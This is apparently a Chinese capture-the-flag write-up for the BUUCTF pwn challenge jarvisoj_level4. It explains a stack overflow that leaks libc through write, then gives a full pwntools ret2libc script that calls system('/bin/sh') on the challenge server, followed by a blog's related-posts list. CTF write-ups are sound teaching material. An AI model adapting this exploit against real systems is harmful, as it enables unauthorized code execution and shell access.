思路

我们没有system和’/bin/sh’地址。也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和’/bin/sh’地址。再返回main进行循环调用,第二次就可以直接控制返回到system。

from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',26441)
elf=ELF('./level4')
write_plt=elf.plt['write']
read_got=elf.got['read']
main_addr=0x8048470
payload='a'*(0x88+0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read_addr=u32(p.recv(4))
libc=LibcSearcher("read",read_addr)
libc_base=read_addr-libc.dump('read')
sys_addr=libc_base + libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc相关推荐

  1. BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

    64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...

  2. BUUCTF(pwn) ciscn_2019_s_3 [ 栈溢出SROP攻击]

    64位,开启了NX保护 main函数调用了vuln  在程序之中的gadgets存在着两个为rax赋值的gadget execve的系统调用可以参照vuln中的调用找gadget实现,这里采用SROP ...

  3. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  4. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  5. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  6. BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)

    32位开启了nx保护 没有看到system和'/bin/sh',开启了NX保护,是泄露libc类型的题目 main函数就调用了一个vuln函数 7行的输入函数不是get,是程序自定义的函数get_n ...

  7. Buuctf(PWN)ciscn_2019_c_1

    一个普通的小程序,给了3个选项来供我们选择; 在main函数进行分析,发现输入 1 是正确的通道; 点进去下面的encrypt() 加密函数; 在这里发现了 gets()溢出函数; 我们可以利用这个函 ...

  8. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

  9. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

最新文章

  1. 【培训】 项目实训中遇到的问题 总结 跟解决方法
  2. 卷积神经网络Convolutional Neural Network (CNN)
  3. 美国政府签署网络安全行政令 将全面加强网络安全建设
  4. ios中amplify配置configure_Nginx源码编译安装及配置文件初步学习
  5. 怎么样简单快速的将pdf保存为图片--三部曲
  6. 使用 JS 文件调用 Google AdSense 广告 cnblogs
  7. matlab特征值分解法求多自由度系统的固有频率和主振型
  8. 双系统(win8.1+ubuntu14.04)删除win下分区导致grub rescue解决方案
  9. 读《疯狂Java讲义》笔记总结三
  10. Python入门2(Python与C语言语法的不同、Notepad++运行Python代码)
  11. 计算几何的模板(大神整理)
  12. 关于define与defined的区别
  13. 彬彬股份牵手正极技术巨头 服装转型锂电
  14. ios 持续获取定位 高德地图_【IOS开发】高德地图定位坐标偏差()
  15. 关于eclipse中的图片路径
  16. 次微分(subdifferential)
  17. ENVI:在ENVI中如何查看所打开遥感影像的所有波段
  18. 柠萌影视终止A股上市计划:黄磊、张嘉译均持股,有股东多次失信
  19. layui数据表格无数据显示undefined
  20. Windows 11 正式版最低配置要求来了,你的电脑支持吗?

热门文章

  1. .net ajax式上传文件
  2. 01 java 编程基础
  3. 洞悉物联网发展1000问之物联网会产生哪些独角兽?机会在哪里?
  4. 6月 Python 开源项目 Top10,还不收藏~
  5. 用Jmeter进行接口测试及乱码问题
  6. PHPExcel 常用方法
  7. SharePoint自动化系列——Add/Remove Record from items
  8. linux下的加密解密学习
  9. [CLPR] 定位算法探幽 - 边缘和形态学
  10. DIV CSS布局中绝对定位和浮动用法